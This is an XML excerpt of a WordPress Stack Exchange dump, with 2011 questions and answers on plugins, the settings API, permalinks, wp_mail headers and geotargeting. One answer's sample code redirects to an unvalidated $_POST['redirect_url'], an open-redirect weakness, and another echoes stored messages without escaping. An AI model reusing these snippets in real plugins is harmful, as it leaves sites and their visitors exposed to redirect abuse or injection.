  <row Id="21243" PostTypeId="2" ParentId="21242" CreationDate="2011-06-28T01:02:07.870" Score="2" ViewCount="" Body="&lt;p&gt;Big sites using WordPress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpbeginner.com/showcase/21-popular-brands-that-are-using-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/showcase/21-popular-brands-that-are-using-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-28T01:02:07.870" CommentCount="1" />
  <row Id="21244" PostTypeId="5" CreationDate="2011-06-28T01:03:45.327" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-28T01:03:45.327" LastActivityDate="2011-06-28T01:03:45.327" />
  <row Id="21245" PostTypeId="4" CreationDate="2011-06-28T01:03:45.327" Score="0" ViewCount="" Body="This tag is for questions by users wondering if WordPress is a good option for their project." OwnerUserId="-1" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-28T04:15:48.837" LastActivityDate="2011-06-28T04:15:48.837" />
  <row Id="21246" PostTypeId="1" CreationDate="2011-06-28T01:26:30.470" Score="2" ViewCount="120" Body="&lt;p&gt;I've searched through the stack exchange for wordpress and was unable to come up with an answer to this question.  All of the wordpress codex's examples and external resources come from 2004-2006. I'd love an example of a popular Wordpress plugin that is also well-written. As I'm fairly new to programming (less than 1 year in), this would be immensely helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys,&#xA;Kurt&lt;/p&gt;&#xA;" OwnerUserId="6541" LastActivityDate="2011-06-28T15:21:10.290" Title="What are some examples of well-written plugins that exemplify wordpress plugin best practices?" Tags="&lt;plugins&gt;&lt;best-practices&gt;" AnswerCount="3" />
  <row Id="21247" PostTypeId="2" ParentId="21246" CreationDate="2011-06-28T01:52:19.700" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://wordpress.stackexchange.com/questions?sort=votes&quot;&gt;highest voted Qs on WPSE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-28T01:52:19.700" CommentCount="1" />
  <row Id="21248" PostTypeId="2" ParentId="21242" CreationDate="2011-06-28T01:59:17.320" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;About OOP Themes)&lt;/em&gt;&lt;/strong&gt; There are dozens of Theme- &amp;amp; Plugin-&quot;Frameworks&quot; out there. And some are OOP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;About custom coding)&lt;/em&gt;&lt;/strong&gt; You could also try libraries like &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WP Alchemy&lt;/a&gt; for meta boxes and custom content. &quot;Rilwis&quot; offers another one. Then you could use some &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11395/upload-post-thumbnail-from-the-front-end&quot;&gt;front end code&lt;/a&gt; to insert stuff into Custom Post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;About &quot;Jobroller&quot;)&lt;/em&gt;&lt;/strong&gt; You should post/ask your Q about &quot;Jobroller&quot; in detail at their page. Furthermore is it hard to know if it's a) commercial and b) you didn't explain your needs in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;About WP &amp;amp; Performance)&lt;/em&gt;&lt;/strong&gt; Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10463/refactoring-wordpress-to-improve-memory-performance&quot;&gt;this Q&lt;/a&gt; for a more in depth look.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-28T01:59:17.320" />
  <row Id="21249" PostTypeId="2" ParentId="21231" CreationDate="2011-06-28T02:16:05.623" Score="0" ViewCount="" Body="&lt;p&gt;re 1. if you don't want to use a separate category, for example sth like &quot;featured&quot;, then I would indeed either use the custom meta box that @helenhousandi suggested or perhaps set up a separate taxonomy for that purpose alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;re 2. nothing to add to @helenhousandi&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-28T02:16:05.623" />
  <row Id="21250" PostTypeId="2" ParentId="21246" CreationDate="2011-06-28T02:18:32.407" Score="2" ViewCount="" Body="&lt;p&gt;Download some plugins from well respected developers to see how they code their stuff.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-28T02:18:32.407" CommentCount="1" />
  <row Id="21251" PostTypeId="2" ParentId="21079" CreationDate="2011-06-28T02:21:13.730" Score="0" ViewCount="" Body="&lt;p&gt;Not really, there are some way better options out there for client, project  and document management, it is a very competitive industry nipping at Microsoft's feet.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-28T02:21:13.730" />
  <row Id="21252" PostTypeId="2" ParentId="21237" CreationDate="2011-06-28T02:29:34.797" Score="1" ViewCount="" Body="&lt;p&gt;Send the form action either to your homepage, or to a specific page URL. You can't have $_POST handling within the template because you need to redirect after your process it, and redirect needs to be fired before any HTML output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// you should choose the appropriate tag here&#xA;// template_redirect is fired just before any html output&#xA;// see - http://codex.wordpress.org/Plugin_API/Action_Reference&#xA;add_action('template_redirect', 'check_for_event_submissions');&#xA;&#xA;function check_for_event_submissions(){&#xA;  if(isset($_POST['event'])) // &amp;amp;&amp;amp; (get_query_var('pagename') === 'events) &#xA;    {&#xA;       // process your data here, you'll use wp_insert_post() I assume&#xA;&#xA;       wp_redirect($_POST['redirect_url']); // add a hidden input with get_permalink()&#xA;       die();&#xA;    } &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also check for a &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;nonce&lt;/a&gt; to make sure the data was submitted from the right place...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-28T02:29:34.797" CommentCount="1" />
  <row Id="21253" PostTypeId="2" ParentId="21117" CreationDate="2011-06-28T03:39:04.383" Score="0" ViewCount="" Body="&lt;p&gt;There are a few things that could cause the issue, or I should say a combination of things. With the formatting problems, you might have the &quot;&lt;strong&gt;!important css&lt;/strong&gt;&quot; declaration overriding your CSS from the page/post editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.post {&#xA;      font-family:Verdana, sans-serif;&#xA;      font-size:14px !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Or I want to add a break so that text&#xA;  appears on different lines&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This could be a few issues, the best way to correct it is to use &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;the plug-in TinyMce Advanced&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the plugin, then go to Appearance&gt;TinyMce, in the options that appear towards the bottom of the screen select the check-box that says Stop removing p tags. You can also check the box that says import editor style. If your theme has a specific file for the editor it will be used, if not it will try to emulate the css of your theme automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;See the image for the TinyMce Settings:&lt;/strong&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/fZTBW.jpg&quot; alt=&quot;TinyMce Advanced Settings Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-28T03:39:04.383" />
  <row Id="21254" PostTypeId="1" CreationDate="2011-06-28T04:28:50.267" Score="0" ViewCount="14" Body="&lt;p&gt;I noticed that I must add settings field to a setting section else I dont get the output?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// register a field without specifying a section, thus defaulting to default&#xA;add_settings_field('ae_settings_contact', 'Contact', 'ae_settings_contact_cb', 'ae_options');&#xA;&#xA;// in my option page callback,&#xA;function ae_options_page_cb() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Asia Expat Theme Options&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot; id=&quot;adminform&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;            &amp;lt;?php &#xA;            settings_errors();&#xA;            settings_fields('ae_settings');&#xA;            do_settings_sections('ae_options');&#xA;            ?&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that if I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_settings_fields('ae_options', 'default')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will work but I dont get the table. &lt;code&gt;do_settings_sections&lt;/code&gt; dont render the 'default' section?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-28T04:28:50.267" Title="No output when add setting fields to the default section of a page" Tags="&lt;settings-api&gt;" />
  <row Id="21255" PostTypeId="1" CreationDate="2011-06-27T21:08:55.943" Score="0" ViewCount="52" Body="&lt;p&gt;Im not sure if this is a bug or in the design, but how can i get bbpress sticky pages to move the topics to the first page, rather than the top of the current page of the paged forum topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it doesn't check the topic_sticky flag until it displays each page. ie it doesnt run through all topics first, then display all sticky topics. It display first 20 checks them for sticky topics, and second page etc.&lt;/p&gt;&#xA;" OwnerUserId="3178" LastActivityDate="2011-06-28T04:30:10.120" Title="bbpress sticky topic to first page of forum topics" Tags="&lt;buddypress&gt;&lt;bbpress&gt;" CommentCount="1" />
  <row Id="21256" PostTypeId="1" CreationDate="2011-06-28T04:39:14.817" Score="0" ViewCount="27" Body="&lt;p&gt;I've got a couple questions.  I have a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_field( 'contact_phone', 'Contact Phone', 'settings_callback', 'general');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works.  It calls settings_callback.  Cool.  The problem I have with this is I don't want to have to define a callback function for every setting I add, if all I'm doing is echoing out a little bit of stuff.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function settings_callback()&#xA;{&#xA;    echo '&amp;lt;input id=&quot;contact_phone&quot; type=&quot;text&quot; class=&quot;regular-text&quot; name=&quot;contact_phone&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why on earth should I have to do that?  the id, class, and name should all be params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there no way to pass params to the settings_callback function?  I started looking at the core, got here: &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/template.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/template.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..and ran into this $wp_settings_fields global.  Where is this defined?  Furthermore, is there an easy way to search the wordpress API &lt;strong&gt;other than&lt;/strong&gt; searching Wordpress' codex for the next time I run into something like this?&lt;/p&gt;&#xA;" OwnerUserId="5697" LastActivityDate="2011-06-28T04:39:14.817" Title="Wordpress Settings - global $wp_settings_fields, add_settings_field?" Tags="&lt;settings&gt;&lt;global&gt;&lt;callbacks&gt;" />
  <row Id="21257" PostTypeId="1" AcceptedAnswerId="21261" CreationDate="2011-06-28T06:00:42.370" Score="0" ViewCount="44" Body="&lt;p&gt;I moved my word press blog from Apache to IIS 7 shared hosting. my database connection is fine. I can access the admin module but I get an empty index.php with &quot;Nothing Found for Index Php Error&quot; in the title bar. Can someone please help.&lt;/p&gt;&#xA;" OwnerUserId="6545" LastActivityDate="2011-06-28T06:49:40.327" Title="Nothing Found for Index Php Error" Tags="&lt;wordpress.com&gt;&lt;iis&gt;" AnswerCount="1" />
  <row Id="21258" PostTypeId="2" ParentId="20130" CreationDate="2011-06-28T06:26:14.207" Score="1" ViewCount="" Body="&lt;p&gt;There are few things that I have pointed out in the code below too:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You were overwriting the options read from &lt;code&gt;get_option&lt;/code&gt; using &lt;code&gt;array_merge&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You had hard-coded the Message Counts.&lt;/li&gt;&#xA;&lt;li&gt;saving options in &lt;code&gt;__destruct&lt;/code&gt; just does not work. (I don't have any clue yet, may be experts will shed some light on it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have marked all the sections where I have made the changes with &lt;strong&gt;HKFIX&lt;/strong&gt;, with a bit of description:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Constructor&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function __construct()&#xA;{&#xA;&#xA;    // Initialize variables&#xA;    $defaultOptions         = array( 'updates' =&amp;gt; array(), 'errors' =&amp;gt; array() );&#xA;&#xA;    /* HKFIX: array_merge was overwriting the values read from get_option, &#xA;     * moved $defaultOptions as first argument to array_merge */&#xA;    $this-&amp;gt;options          = array_merge( $defaultOptions, get_option( self::PREFIX . 'options', array() ) );&#xA;    $this-&amp;gt;updatedOptions   = false;&#xA;&#xA;    /* HKFIX: the count for update and error messages was hardcoded,&#xA;     * which was ignoring the messages already in the options table read above&#xA;     * later in print the MessageCounts is used in loop&#xA;     * So I updated to set the count based on the options read from get_option */&#xA;    $this-&amp;gt;userMessageCount = array();&#xA;    foreach ( $this-&amp;gt;options as $msg_type =&amp;gt; $msgs ) {&#xA;        $this-&amp;gt;userMessageCount[$msg_type] = count( $msgs );&#xA;    }&#xA;    // more&#xA;&#xA;    add_action( 'admin_notices',    array($this, 'printMessages') );&#xA;    add_action( 'post_updated',     array($this, 'saveCustomFields') );&#xA;&#xA;    // does other stuff&#xA;}&#xA;&#xA;/**&#xA; * Saves values of the the custom post type's extra fields&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function saveCustomFields()&#xA;{&#xA;    // does stuff&#xA;&#xA;    /* HKFIX: this was false, so changed it to true, may be not a fix but thought I should mention ;) */&#xA;    if( true )&#xA;        $this-&amp;gt;enqueueMessage( 'foo', 'error' );&#xA;&#xA;}&#xA;&#xA;/**&#xA; * Displays updates and errors&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function printMessages()&#xA;{&#xA;&#xA;    foreach( array('updates', 'errors') as $type )&#xA;    {&#xA;        if( $this-&amp;gt;options[$type] &amp;amp;&amp;amp; ( self::DEBUG_MODE || $this-&amp;gt;userMessageCount[$type] ) )&#xA;        {&#xA;            echo '&amp;lt;div id=&quot;message&quot; class=&quot;'. ( $type == 'updates' ? 'updated' : 'error' ) .'&quot;&amp;gt;';&#xA;            foreach($this-&amp;gt;options[$type] as $message)&#xA;                if( $message['mode'] == 'user' || self::DEBUG_MODE )&#xA;                    echo '&amp;lt;p&amp;gt;'. $message['message'] .'&amp;lt;/p&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;            $this-&amp;gt;options[$type] = array();&#xA;            $this-&amp;gt;updatedOptions = true;&#xA;            $this-&amp;gt;userMessageCount[$type] = 0;&#xA;&#xA;        }&#xA;    }&#xA;&#xA;    /* HKFIX: Save the messages, can't wait for destruct */&#xA;    if ( $this-&amp;gt;updatedOptions ) {&#xA;        $this-&amp;gt;saveMessages();&#xA;    }&#xA;&#xA;}&#xA;&#xA;/**&#xA; * Queues up a message to be displayed to the user&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; * @param string $message The text to show the user&#xA; * @param string $type 'update' for a success or notification message, or 'error' for an error message&#xA; * @param string $mode 'user' if it's intended for the user, or 'debug' if it's intended for the developer&#xA; */&#xA;protected function enqueueMessage($message, $type = 'update', $mode = 'user')&#xA;{&#xA;&#xA;    array_push($this-&amp;gt;options[$type .'s'], array(&#xA;        'message' =&amp;gt; $message,&#xA;        'type' =&amp;gt; $type,&#xA;        'mode' =&amp;gt; $mode&#xA;    ) );&#xA;&#xA;&#xA;    if($mode == 'user')&#xA;        $this-&amp;gt;userMessageCount[$type . 's']++;&#xA;&#xA;    /* HKFIX: save the messages, can't wait for destruct */&#xA;    $this-&amp;gt;saveMessages();&#xA;}&#xA;&#xA;/* HKFIX: Dedicated funciton to save messages &#xA; * Can also be called from destruct if that is really required */&#xA;public function saveMessages() &#xA;{&#xA;        update_option(self::PREFIX . 'options', $this-&amp;gt;options);&#xA;}&#xA;&#xA;/**&#xA; * Destructor&#xA; * Writes options to the database&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function __destruct()&#xA;{&#xA;    /* HKFIX: Can't rely on saving options in destruct, this just does not work */&#xA;        // its very late to call update_options in destruct&#xA;        //update_option(self::PREFIX . 'options', $this-&amp;gt;options);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-28T06:26:14.207" CommentCount="7" />
  <row Id="21259" PostTypeId="2" ParentId="21246" CreationDate="2011-06-28T06:31:35.990" Score="2" ViewCount="" Body="&lt;p&gt;You can buy the Professional WordPress Plugin Development book from Amazon: &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Professional-WordPress-Plugin-Development-Williams/dp/0470916222&lt;/a&gt;  I'm learning tons from it and it's packed full of good information about best practices. It will walk you through building your own plugin with lots of code samples.  I cannot recommend it enough. If you're serious about learning to write plugins then this is one book you absolutely must buy.&lt;/p&gt;&#xA;" OwnerUserId="676" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-28T15:21:10.290" LastActivityDate="2011-06-28T15:21:10.290" CommentCount="2" />
  <row Id="21260" PostTypeId="1" CreationDate="2011-06-28T06:36:37.113" Score="1" ViewCount="63" Body="&lt;p&gt;How would I disable a plugin on one page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a plugin for Social Icons that appears on all pages, but I would like it NOT to show up on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-08-08T12:28:23.157" Title="How would I disable a plugin on one page?" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21261" PostTypeId="2" ParentId="21257" CreationDate="2011-06-28T06:49:40.327" Score="0" ViewCount="" Body="&lt;p&gt;Start by going to &lt;em&gt;Settings&gt;Permalinks&lt;/em&gt;, now click on the default radio button and click save. You probably used .htaccess to enable pretty permalinks, IIS doesn't use an .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the default structure fixed the problems you are having, but you want the old permalink structure, click this link to the WP-Codex page explaining how:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Link to Codex Page &lt;em&gt;(about half way down)&lt;/em&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-28T06:49:40.327" CommentCount="2" />
  <row Id="21262" PostTypeId="1" AcceptedAnswerId="21263" CreationDate="2011-06-28T07:58:31.757" Score="0" ViewCount="83" Body="&lt;p&gt;I've worked with WordPress for a while now and this is the first time I've had this problem, I can't get my permalinks to work without &lt;code&gt;index.php&lt;/code&gt; on the URL even though &lt;code&gt;mod_rewrite&lt;/code&gt; is enabled, a few things that might help figure the problem out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm using apache2 and mod_rewrite is enabled, I doubled checked by displaying the &lt;code&gt;phpinfo()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;.htaccess&lt;/code&gt; file gets written just fine when I update the permalink options and the contents are default WP Redirect rules but just in case here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The permalink common settings on the option page don't actually show the &lt;code&gt;/index.php/&lt;/code&gt; part (sometimes when I've used IIS they show it there), if I use any of the common url structures I get a 404 page (not the &lt;code&gt;404.php&lt;/code&gt; one on my theme but the browsers 404 one) but if I add &lt;code&gt;/index.php/%postname%/&lt;/code&gt; for example it works just fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what might be wrong? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T12:07:14.820" LastActivityDate="2011-07-09T12:07:14.820" Title="Can't get pretty permalinks to work without index.php" Tags="&lt;url-rewriting&gt;&lt;htaccess&gt;&lt;rewrite-rules&gt;&lt;mod-rewrite&gt;&lt;apache&gt;" AnswerCount="1" />
  <row Id="21263" PostTypeId="2" ParentId="21262" CreationDate="2011-06-28T08:17:10.807" Score="0" ViewCount="" Body="&lt;p&gt;&lt;em&gt;Sigh&lt;/em&gt; had to add this to the httpd.conf file on the webserver:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /var/www/&amp;gt;&#xA;        Options FollowSymLinks&#xA;        AllowOverride All&#xA;        Order allow,deny&#xA;        Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First time I have to add it manually, oh well it works fine now :)&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-06-28T08:17:10.807" />
  <row Id="21264" PostTypeId="1" CreationDate="2011-06-28T08:49:17.270" Score="0" ViewCount="94" Body="&lt;p&gt;This is what I want to do&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User accesses the website from US or UK OR X country.&lt;/li&gt;&#xA;&lt;li&gt;User gets redirected to a particular edition of the magazine(online) depending  on the country  that he/she is accessing the website from.&lt;/li&gt;&#xA;&lt;li&gt;The different editions are nothing but different homepages, that display the content which are more relevant to a particular user group.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, I know I will have to redirect users based on ip addresses to particular pages. But what I am not able to do is, create different homepages within the same theme. Moreover, I can control only one home page from back end, how do I create multiple home pages that I could control separately.(By Controlling the homepage I mean, setting up the categories and Menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is - www.thehardtackle.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I have put up the website my self, I am not a web developer. Would be helpful if someone can direct me to open source resources or plugins.&#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="6548" LastActivityDate="2011-08-29T10:00:27.630" Title="Developing different website editions based on countries?" Tags="&lt;plugin-recommendation&gt;&lt;multi-language&gt;&lt;homepage&gt;&lt;plugin-random-redirect&gt;" AnswerCount="2" />
  <row Id="21265" PostTypeId="1" CreationDate="2011-06-28T08:53:05.400" Score="0" ViewCount="167" Body="&lt;p&gt;I am using WordPress 3.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting following notices when I use wp_mail with cc and bcc headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined variable: cc in /var/www/mysite.info/htdocs/wordpress/wp-includes/pluggable.php on line 349 &#xA;Notice: Undefined variable: bcc in /var/www/mysite.info/htdocs/wordpress/wp-includes/pluggable.php on line 352 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how I am setting email headers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email_headers  = &quot;From: &quot;.$from_field_value.PHP_EOL;&#xA;$email_headers .= &quot;Reply-To: &quot;.$from_field_value.PHP_EOL;&#xA;$email_headers .= &quot;CC: mail@gmail.com&quot;.PHP_EOL;&#xA;$email_headers .= &quot;BCC: mail@gmail.com&quot;.PHP_EOL;&#xA;&#xA;if (wp_mail($email_to, $email_subject, $email_body, $email_headers)) {&#xA;      // Other process&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4314" LastActivityDate="2011-08-28T05:35:54.960" Title="wp_mail not recognizing cc and bcc headers" Tags="&lt;plugin-development&gt;&lt;email&gt;&lt;wp-mail&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21266" PostTypeId="2" ParentId="21264" CreationDate="2011-06-28T09:06:54.023" Score="0" ViewCount="" Body="&lt;p&gt;I suggest you checkout some multilingual plugins for Wordpress. For example &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; (a commercial plugin) does what you are looking for. For a free option try &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your different languages homepages, you can apply different templates to them to show what you want independently. This is handled more effectively by WPML, as it really creates different posts by language for a same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the multilingual part is not your priority, the maybe this plugin would be enough : &lt;a href=&quot;http://thewordpress.net/plugins/geotargeting/&quot; rel=&quot;nofollow&quot;&gt;WordPress GeoTargeting Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also simply create a Javascript redirection using &lt;a href=&quot;https://github.com/kuno/GeoIP-js&quot; rel=&quot;nofollow&quot;&gt;GeoIP.js&lt;/a&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-28T09:31:20.150" LastActivityDate="2011-06-28T09:31:20.150" CommentCount="4" />
  <row Id="21267" PostTypeId="2" ParentId="21265" CreationDate="2011-06-28T09:18:58.310" Score="0" ViewCount="" Body="&lt;p&gt;If you look at the line the notice is being issued:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cc = array_merge( (array) $cc, explode( ',', $content ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bcc = array_merge( (array) $bcc, explode( ',', $content ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What its trying to do is merge a blank array that hasn't been set with an array created by your headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notice can be ignored. After all its just a notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this function is pluggable you can copy the function and place in a plugin file and correct the code. That way you are not editing core files. See pluggable functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pluggable_Functions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pluggable_Functions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would modify the code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'cc':&#xA;    if (!isset($cc))&#xA;        $cc = array();&#xA;    $cc = array_merge( $cc, explode( ',', $content ) );&#xA;break;&#xA;case 'bcc':&#xA;    if (!isset($bcc))&#xA;        $bcc = array();&#xA;    $bcc = array_merge( $bcc, explode( ',', $content ) );&#xA;break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe this should be reported to wordpress core dev team?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above will be fixed in WP3.2 &lt;a href=&quot;http://core.trac.wordpress.org/changeset/18006&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/changeset/18006&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-28T10:21:00.393" LastActivityDate="2011-06-28T10:21:00.393" CommentCount="3" />
